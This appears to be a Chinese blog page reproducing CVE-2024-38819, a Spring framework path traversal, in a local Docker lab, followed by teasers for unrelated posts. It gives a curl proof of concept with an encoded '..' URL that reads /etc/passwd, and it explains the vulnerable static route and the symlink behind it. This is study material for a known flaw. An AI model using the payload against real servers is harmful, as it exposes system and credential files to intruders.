news 2026/9/3 3:19:49

CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现
操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

docker build -t cve-2024-38819-poc . docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了/etc/passwd文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如/etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:
  1. 设置静态资源路由:创建PathTraversalDemoApplication.java文件,使用RouterFunctionFileSystemResource设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }

    这段代码创建了一个静态文件资源的路由。当用户访问/static/**路径时,系统会从/app/static/目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link

    在 Dockerfile 中,ln -s命令创建了一个符号链接/static,指向/app/static/link。这意味着攻击者可以通过访问/static/link来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd

    其中,%2e%2e%2e编码的..,代表父目录。攻击者通过这种方式尝试从/app/static/目录“跳出”并访问系统的其他目录(如/etc/passwd),从而获取系统敏感信息。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/2 23:04:09

RK3588+kylin V10安装docker

检查内核是否支持docker 方法&#xff1a;工具分享&#xff1a;检测内核配置是否支持Docker等容器 (1)检查卸载老版本Docker sudo apt-get remove docker docker-engine docker.io containerd runc (2)安装Docker依赖 sudo apt-get install ca-certificates curl gnupg lsb…

作者头像 李华
网站建设 2026/9/2 23:57:06

从Mermaid到Word:一个提升文档工作流效率的在线工具

在日常开发、技术文档撰写或学术写作中&#xff0c;我们常常遇到一个共通的痛点&#xff1a;如何将AI生成的内容&#xff0c;或使用特定语法&#xff08;如Mermaid图表、LaTeX公式&#xff09;编写的片段&#xff0c;高效、准确地转换为可直接用于分享、发布或提交的Word文档。…

作者头像 李华
网站建设 2026/9/3 1:39:56

【AI】各类型开源模型排行

开源翻译模型 Top5 截至 2025 年第四季度的公开评测与赛果&#xff0c;综合 WMT-25、TransBench 以及社区人工打分&#xff0c;开源翻译模型 Top5 如下&#xff08;按“多语种平均 BLEURT COMET 人工分”排序&#xff0c;括号内为亮点语向&#xff09;&#xff1a;Tencent Hun…

作者头像 李华
网站建设 2026/8/31 5:50:18

java失业求职记录

这是小红书上一位上海的Java程序员失业想转行的分享贴。 Java开发的就业市场正在经历结构性调整&#xff0c;竞争日益激烈 传统纯业务开发岗位&#xff08;如仅完成增删改查业务的后端工程师&#xff09;的需求&#xff0c;特别是入门级岗位&#xff0c;正显著萎缩。随着企业…

作者头像 李华